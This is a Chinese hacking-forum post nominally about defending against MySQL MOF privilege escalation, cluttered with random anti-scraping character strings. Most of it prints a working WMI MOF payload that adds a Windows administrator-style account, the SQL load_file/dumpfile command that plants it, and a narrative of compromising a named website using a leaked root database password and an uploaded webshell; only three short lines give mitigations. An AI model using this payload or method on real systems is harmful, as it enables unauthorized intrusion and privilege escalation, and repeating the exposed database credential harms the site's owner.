找回密码
 立即注册
查看: 3100|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
9 s7 }6 I- ?' `6 Y) ^
. z) W# d5 [7 d' v0 n网上公开的一些利用代码:4 U* e  l3 [; l  P9 {3 E  e' I
, ]3 k5 @; y  j, q% z0 L, y" b
#pragma namespace(“\\\\.\\root\\subscription”)
' {" F/ Z* D  `7 A( H$ V- J
, ?; g+ M; U( ]" w; e" r( H3 i$ _- V8 linstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };7 \) k/ ^. A) r; j5 v

, ?" K% L/ N0 @2 B4 ?7 p4 ?+ u% p
9 n/ @; K& f7 l1 |. I$ Y2 ~& g/ y- o8 h; X, Y

  u/ Q) Y. Q. Z$ ^" `( Z( y: I! F: B% y
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;% f. Q0 q0 ?0 k% n) T, ]
从上面代码来看得出解决办法:# @3 w0 \3 U( A% _
+ w  X# `1 p: J
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数  o6 C6 {& K5 ?& F$ \5 P: k0 {

( }. O; [& x# y, w- N2、禁止使用”WScript.Shel”组件6 W1 u- Y: C1 C- \
8 b) A0 T$ U& |; ^& O" `: [
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER% x+ D% {$ Y! I& Z& p
% d6 x/ x5 i0 I5 _
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下2 |6 w! Z' C* o8 E% i; }
- t- k+ R$ V( j5 |6 r
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权! ?  G$ a6 K$ A' U
8 q# `# x: J4 U9 G: r0 p
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
* n  Y: c( U+ \5 T0 ^' s  ^9 Z8 y- }; I9 T: c
看懂了后就开始练手吧
4 n6 G; R6 c! d1 ]& ]; X* c8 @4 I7 e
http://www.webbmw.com/config/config_ucenter.php 一句话 a$ b) F5 B4 o- w7 |6 b- Q1 \5 G1 e
2 Y8 [0 @: O% w1 }8 [
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。* N) G6 q0 }  p7 @, Z. l7 E

3 {( f' X' u% D0 _- o于是直接用菜刀开搞9 Y) X9 t# a$ Q0 e' Z
& p6 L& x2 x) m. g* V; q+ f
上马先4 N1 e5 O0 _1 D1 p% v2 o4 X/ v7 U

* b/ b8 _4 P0 A: f2 C既然有了那些账号 之类的 于是我们就执行吧…….
: x9 a5 O. u! d4 E: H: E  N- @! }) R. Z: l
小小的说下9 d+ y% v- `! N/ d. O
$ w' R' v( Q0 _; _% t/ O
在这里第1次执行未成功        原因未知, ^& k3 f' p' {1 R" K  f6 m  c
3 V2 r9 M3 v5 x. h7 s0 h
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。: a8 Z0 t' }  E# ^: [

) u. }  Z2 E6 Z; M0 F#pragma namespace(“\\\\.\\root\\subscription”)
0 V1 d/ L2 E3 t# h5 b/ \7 F" s
, g' d) h; c0 jinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
  D4 ?% ?, q% G" e$ H5 M2 I4 \
: P/ f( A- [4 v4 |我是将文件放到C:\WINDOWS\temp\1.mof
" j9 f1 o* c2 m4 u1 ]" z+ @0 _; I5 ~: D4 S& ?  z5 ?
所以我们就改下执行的代码
. A2 R- r& e% f1 m! a' f7 w. o' `) q) ]. a
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
2 u0 v5 g( F$ {- Q2 ~3 ~
& F( d8 C8 z9 ^: c( ]8 |' L
: Q; r  H2 `" ?2 v
( k+ J9 ~! H! a: s$ n' }* `, x& H但是 你会发现账号还是没有躺在那里。。
# [. l: ?  Q6 _& b9 N0 u  O
6 Y; c  z# I; u9 G) o于是我就感觉蛋疼
0 X* t& ^8 F" ]2 ?7 k" m0 H) T. ^2 \- ^1 h
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
* t4 Z! i8 ?& I* P0 b6 M/ v' P* G6 ~# \6 c$ Y1 `! z
  A. t" [" D3 g( d7 g1 N  y
4 E, b3 a2 t( E5 W4 t) [$ E
但是其他库均不成功…/ c* N5 p* |  v! w
) B9 q6 }3 S% a
我就很费解呀 到底为什么不成功求大牛解答…  P  u7 s& y+ ]" k: M
! i2 g9 C/ s9 [" |
- m* `8 h! L0 @3 m) S
. T2 I. T7 ?2 {/ d  K8 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表